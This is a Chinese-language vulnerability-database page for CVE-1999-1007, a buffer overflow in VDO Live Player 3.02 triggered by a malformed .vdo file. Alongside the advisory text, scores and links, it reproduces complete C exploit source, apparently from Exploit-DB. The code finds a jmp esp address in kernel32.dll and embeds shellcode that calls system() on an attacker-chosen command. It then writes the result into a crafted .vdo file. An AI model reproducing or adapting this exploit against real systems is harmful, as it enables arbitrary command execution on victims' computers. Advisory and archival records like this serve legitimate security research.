CVE-1999-1007
CVSS7.6
发布时间 :1999-12-13 00:00:00
修订时间 :2016-10-17 22:00:07
NMCOE    

[原文]Buffer overflow in VDO Live Player allows remote attackers to execute commands on the VDO client via a malformed .vdo file.


[CNNVD]VDO Live Player缓冲区溢出漏洞(CNNVD-199912-047)

        VDO Live Player存在缓冲区溢出漏洞。远程攻击者借助malformed.vdo文件可以在VDO客户端执行命令。

- CVSS (基础分值)

CVSS分值: 7.6 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1007
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1007
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199912-047
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=94512259331599&w=2
(UNKNOWN)  BUGTRAQ  19991213 VDO Live Player 3.02 Buffer Overflow
http://www.securityfocus.com/bid/872
(UNKNOWN)  BID  872

- 漏洞信息

VDO Live Player缓冲区溢出漏洞
高危 缓冲区溢出
1999-12-13 00:00:00 2005-05-02 00:00:00
远程※本地  
        VDO Live Player存在缓冲区溢出漏洞。远程攻击者借助malformed.vdo文件可以在VDO客户端执行命令。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19678)

VDOLive Player 3.0.2 Buffer Overflow Vulnerability (EDBID:19678)
windows local
1999-12-13 Verified
0 UNYUN
N/A [点击下载]
source: http://www.securityfocus.com/bid/872/info

VDOLive Player v3.02 has an unchecked buffer that can allow arbitrary code to be executed if a specially-crafted .vdo file is loaded. 

/*====================================================================
   ex_vdolive.c / VDO Live Player 3.02 32bit exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  ===================================================================
*/

#include    <stdio.h>
#include    <string.h>
#include    <windows.h> 

#define     RETADR          90
#define     CODE1_OFS       102
#define     CODE2_OFS       10
#define     MAXBUF1         180
#define     MAXBUF2         1500
#define     JMPESP_1        0xff
#define     JMPESP_2        0xe4
#define     NOP             0x90
#define     KERNEL_NAME     "kernel32.dll"      

unsigned char exploit_jmping[100]={
0x33,0xDB,0x8B,0x41,0x30,0xB3,0xBB,0x03,
0xC3,0xFF,0xE0,0x00};

unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,
0x52,0x32,0xE4,0x83,0xC3,0x06,0x88,0x23,
0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF0,0x5A,0x43,0x53,0x52,0x32,0xE4,0x83,
0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,0x83,
0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,
0xFF,0xFF,0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.";


unsigned int search_mem(unsigned char *st,unsigned char *ed,
                unsigned char c1,unsigned char c2)
{
    unsigned char   *p;
    unsigned int    adr;

    for (p=st;p<ed;p++)
        if (*p==c1 && *(p+1)==c2){
            adr=(unsigned int)p;
            if ((adr&0xff)==0) continue;
            if (((adr>>8)&0xff)==0) continue;
            if (((adr>>16)&0xff)==0) continue;
            if (((adr>>24)&0xff)==0) continue;
            return(adr);
        }
    return(0);
}

main(int argc,char *argv[])
{
    unsigned int         i,kp,ip,p1,p2;
    static unsigned char buf1[MAXBUF1],buf2[MAXBUF2],*q;
    FILE                 *fp;
    MEMORY_BASIC_INFORMATION meminfo;
        
    if (argc<2){
        printf("usage: %s FileName Command\n",argv[0]);
        exit(1);
    }
    if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){
        printf("Can not find %s\n",KERNEL_NAME);
        exit(1);
    }

    VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION)); 
    for (i=0;i<meminfo.RegionSize;i++){
        ip=kp+i;
        if ( ( ip     &0xff)==0
          || ((ip>>8 )&0xff)==0
          || ((ip>>16)&0xff)==0
          || ((ip>>24)&0xff)==0) continue;
        q=(unsigned char *)ip;
        if (*q==JMPESP_1 && *(q+1)==JMPESP_2) break;
    }
    if (i==meminfo.RegionSize){
        printf("Can not find codes which are used by this exploit.\n");
        exit(1);
    }

    printf("RETADR  : %x\n",ip);
    memset(buf1,NOP,MAXBUF1-1);
    memset(buf2,NOP,MAXBUF2-1);
    buf1[RETADR  ]=ip&0xff;
    buf1[RETADR+1]=(ip>>8)&0xff;
    buf1[RETADR+2]=(ip>>16)&0xff;
    buf1[RETADR+3]=(ip>>24)&0xff;
    strcat(cmdbuf,argv[2]); 
    strncpy(buf1+CODE1_OFS,exploit_jmping,strlen(exploit_jmping));
    p1=(unsigned int)GetProcAddress((HMODULE)kp,"LoadLibraryA");
    p2=(unsigned int)GetProcAddress((HMODULE)kp,"GetProcAddress");
    printf("LoadLibrary Address    : %x\n",p1);
    printf("GetProcAddress Address : %x\n",p2);

    strcat(exploit_code,cmdbuf);
    exploit_code[0x0d]=p1&0xff;
    exploit_code[0x0e]=(p1>>8)&0xff;
    exploit_code[0x0f]=(p1>>16)&0xff;
    exploit_code[0x10]=(p1>>24)&0xff;
    exploit_code[0x21]=exploit_code[0x35]=p2&0xff;
    exploit_code[0x22]=exploit_code[0x36]=(p2>>8)&0xff;
    exploit_code[0x23]=exploit_code[0x37]=(p2>>16)&0xff;
    exploit_code[0x24]=exploit_code[0x38]=(p2>>24)&0xff;
    exploit_code[0x41]=strlen(argv[2]);

    memcpy(buf2+CODE2_OFS,exploit_code,strlen(exploit_code));

    strncpy(buf1,"vdo://",6);
    buf1[MAXBUF1]=0;
    buf2[MAXBUF2]=0;
    if ((fp=fopen(argv[1],"w"))==NULL){
        printf("Can not create '%s'\n",argv[1]);
        exit(1);
    }
    fprintf(fp,"%s/%s\n",buf1,buf2);
    printf("File '%s' is created.\n",argv[1]);
    return FALSE;
}






		

- 漏洞信息

1164
VDO Live Player Crafted .vdo File Handling Overflow
Context Dependent Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

1999-12-13 Unknow
1999-12-13 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站